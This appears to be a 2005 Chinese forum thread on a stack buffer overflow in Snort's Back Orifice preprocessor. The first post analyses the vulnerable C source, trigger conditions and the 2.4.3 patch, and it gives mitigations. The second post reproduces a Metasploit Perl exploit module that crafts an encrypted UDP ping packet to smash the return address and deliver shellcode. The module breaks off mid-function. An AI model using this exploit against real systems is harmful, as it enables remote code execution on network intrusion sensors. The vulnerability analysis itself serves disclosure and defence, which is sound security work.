标题: Snort Back Orifice Preprocessor Buffer Overflow简 [打印本页] 作者: 风灵风之子 时间: 2005-10-28 23:54 标题: Snort Back Orifice Preprocessor Buffer Overflow简
Snort Back Orifice Preprocessor Buffer Overflow简单分析
By Sowhat#secway.org
http://secway.org
2005-10-19 09:45
厂商:SourceFire Inc. Snort.org
发现者: Neel Mehta @ ISS X-Force
漏洞公告:http://xforce.iss.net/xforce/alerts/id/207
公布日期: 2005-10-18
Snort 2.4.2及以下的BO预处理模块存在一个简单的堆栈溢出,起因是Snort对用户构造
的BO数据包没有进行任何长度检查. :)
这个漏洞危害比较大,原因有4:
1. 只需一个UDP包就可以触发和利用此漏洞
2. 攻击者并不需要知道snort的准确位置,只要发送数据包到SNORT保护的网络中的任
何一台机器的任何一个端口即可,不要求此端口是打开的.
3. 此漏洞是一个简单的STACK Overflow,所以很容易huck.
4. 有很多不叫Snort的"Snort" @_@
ISS暂时没有公布漏洞细节,我就无聊一下吧,这种低级的体力活,非我莫属啊.
扫描了一下2.4.2 ./src/preprocessors/spp_bo.c,发现问题出在
BoGetDirection这个函数中.
/*
* Function: BoGetDirection(Packet *)
*
* Purpose: Attempt to guess the direction this packet is going in.
*
* Arguments: p => pointer to the current packet data struct
* pkt_data => pointer to data after magic cookie
*
* Returns: BO_FROM_UNKNOWN if direction unknown
* BO_FROM_CLIENT if direction from client to server
* BO_FROM_SERVER if direction from server to client
*
* Reference: http://www.magnux.org/~flaviovs/boproto.html
* BO header structure:
* Mnemonic Size in bytes
* -------------------------
* MAGIC 8
* LEN 4
* ID 4
* T 1
* DATA variable
* CRC 1
*/
static int BoGetDirection(Packet *p, char *pkt_data)
{
u_int32_t len = 0;
u_int32_t id = 0;
u_int32_t l, i;
char type;
char buf1[1024]; //target...hoho
char buf2[1024];
char *buf_ptr;
char plaintext;
//先检查目标端口和源端口是31337,直接判定为BO,返回
//所以exp的时候唯一的一个禁忌就是exp的源和目标端口都
//不能是31337,否则不能触发该漏洞
/* Check for the default port on either side */
if ( p->dp == BACKORIFICE_DEFAULT_PORT )
{
return BO_FROM_CLIENT;
}
else if ( p->sp == BACKORIFICE_DEFAULT_PORT )
{
return BO_FROM_SERVER;
}
//没有匹配到31337端口,进一步分析
/* Didn';t find default port, so look for ping packet */
/* Get length from BO header - 32 bit int */
for ( i = 0; i < 4; i++ )
{
plaintext = (char) (*pkt_data ^ (BoRand()%256));
l = (u_int32_t) plaintext;
len += l << (8*i);
pkt_data++;
}
............... ....................
/* Adjust for BO packet header length */
len -= 18; //减去结构信息的长度,就是实际DATA的长度,啊噢
..................................
/* Only examine data if this a ping request or response */
if ( type == BO_TYPE_PING )
{
i = 0;
buf_ptr = buf1;
*buf1 = 0;
*buf2 = 0;
/* Decrypt data */
while ( i < len ) //这里实现了一个类strcpy,
{ //照len指定的长度将DATA复制到buf1
//其实这里还有一个问题^_^
plaintext = (char) (*pkt_data ^ (BoRand()%256));
*buf_ptr = plaintext;
i++;
pkt_data++;
buf_ptr++;
if ( plaintext == 0 )
buf_ptr = buf2;
}
....................................
}
return BO_FROM_UNKNOWN;
}
要触发这个漏洞只需len设为大于1024+18,DATA段数据超过1024即可.
再看看2.4.3中怎么patch的.
static int BoGetDirection(Packet *p, char *pkt_data)
{
u_int32_t len = 0;
u_int32_t id = 0;
u_int32_t l, i;
char type;
static char buf1[BO_BUF_SIZE];
char plaintext;
....................................
/* Didn';t find default port, so look for ping packet */
/* Get length from BO header - 32 bit int */
for ( i = 0; i < 4; i++ )
{
plaintext = (char) (*pkt_data ^ BoRand());
l = (u_int32_t) plaintext;
len += l << (8*i);
pkt_data++;
}
.....................................
/* Do more len checking */ //对len做一些检查
if ( len >= BO_BUF_ATTACK_SIZE ) //定义了一个宏,1024,限制len
{
if ( !(noalert_flags & BO_ALERT_SNORT_ATTACK) )
{
SnortEventqAdd(GENERATOR_SPP_BO, BO_SNORT_BUFFER_ATTACK, 1, 0, 0,
BO_SNORT_BUFFER_ATTACK_STR, 0);
}
if ( (drop_flags & BO_ALERT_SNORT_ATTACK) && InlineMode() )
{
p->packet_flags |= PKT_INLINE_DROP;
InlineDrop();
}
return BO_FROM_UNKNOWN;
}
/* Adjust for BO packet header length */
len -= BACKORIFICE_MIN_SIZE;
if( len == 0 )
{
/* Need some data, or we can';t figure out client or server */
return BO_FROM_UNKNOWN;
}
if( len > 7 ) //如果大于7就"截断"为7,这个狠,可惜啊,NND :(
{
len = 7; /* we need no more than 7 variable chars */
}
/* length must be 7 OR LESS due to above logic */
if( p->dsize < len )
{
/* We don';t have enough data to inspect */
return BO_FROM_UNKNOWN;
}
/* Continue parsing BO header */
type = (char) (*pkt_data ^ BoRand());
pkt_data++;
.........................................
/* Only examine data if this is a ping request or response */
if ( type == BO_TYPE_PING )
{
if ( len < 7 )
{
return BO_FROM_CLIENT;
}
......................................
}
这个漏洞虽然没有什么显眼的strcpy,sprintf,但是.................
虫子呢虫子呢? 会有虫子吗,hoho
我发现现在一出现影响力大点的漏洞,不管是否真的出现虫子,本身大家对于"狼会不会
来"的预判、争辩,就非常有意思,哈哈.
解决办法:
1. 当然最好是升级到2.4.3
2. 如果不想升级到2.4.3, 就在snort.conf中注释掉BO的预处理,
# preprocessor bo
Reference:
1. http://xforce.iss.net/xforce/alerts/id/207
2. http://isc.sans.org/diary.php
3. http://www.kb.cert.org/vuls/id/175500
4. http://www.us-cert.gov/cas/techalerts/TA05-291A.html
5. http://www.snort.org/rules/advisories/snort_update_20051018.html
6. http://secway.org/vuln.htm
7. http://secway.org/papers/SnortBoBof.txt
作者: 风灵风之子 时间: 2005-10-29 01:02 标题: Snort Back Orifice Preprocessor Buffer Overflow简单分析
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::snort_bo_ping;
use base ';Msf::Exploit';;
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
';Name'; => ';Snort BackOrifice PING Buffer Overflow (PoC)';,
';Version'; => ';$Revision: 1.33 $';,
';Authors'; =>
[
';H D Moore ';
],
';Description'; => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the Snort BackOrifice preprocessor.
This is just a PoC right now...
}),
';Arch'; => [ ';x86'; ],
';OS'; => [ ';linux'; ],
';Priv'; => 1,
';UserOpts'; =>
{
';RHOST'; => [1, ';ADDR';, ';The target address';],
';RPORT'; => [1, ';PORT';, ';The target port';, 53],
},
';Payload'; =>
{
';Space'; => 1024,
';BadChars'; => "\x00",
';MinNops'; => 512,
';Keys'; => [';+ws2ord';],
},
';Refs'; =>
[
],
';DefaultTarget'; => 0,
';Targets'; =>
[
[';Test Target';, 0x41424344],
],
';Keys'; => [';snort';],
';DisclosureDate'; => ';Oct 18 2005';,
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({';Info'; => $info, ';Advanced'; => $advanced}, @_);
return($self);
}
sub BORand {
my $self = shift;
return ($self->{';BOSeed';} = (($self->{';BOSeed';} * 214013) + 2531011) % (2**32));
}
sub BOCrypt {
my $self = shift;
my $data = shift;
my $res;
foreach my $c (unpack("C*", $data)) {
$res .= chr($c ^ ($self->BORand() >> 16 & 0xFF) );
}
return $res;
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar(';RHOST';);
my $target_port = $self->GetVar(';RPORT';);
my $target = $self->Targets->[ $self->GetVar(';TARGET';) ];
my $shellcode = $self->GetVar(';EncodedPayload';)->Payload;
# MAGIC 8
# LEN 4
# ID 4
# T 1
# DATA variable
# CRC 1
# This length values results in a negative value for "len"
my $pwn = "X" x 32764;
# The shellcode is half nops, just for testing right now
substr($pwn, 0, length($shellcode), $shellcode);
substr($pwn, 1040, 4, "\x01\x01\x01\x01"); # Patch "i" in a magic way
substr($pwn, 1052, 4, "\x02\x02\x01\x01"); # Path "len" so its slightly more than "i"
substr($pwn, 1068, 4, pack(';V';, $target->[1]));
# Terminate the overwrite only after we smashed the return address
substr($pwn, 1072, 1, "\x00");
# Set the ping type
my $type = pack(';C';, 0x40 + 0x01); # Ping
my $data = $pwn . "PONG";
my $pong =
"*!*QWTY?". # Magic
pack(';V';, length($data)).
pack(';N';, rand(0xffffffff)).
$type.
$data.
"X";
$self->{';BOSeed';} = 0x7a69; # Randomize this :-)
$pong = $self->BOCrypt($pong);
my $sock = Msf::Socket::Udp->new
(
';PeerAddr'; => $target_host,
';PeerPort'; => $target_port,
);
if ($sock->IsError) {
$self->PrintLine(';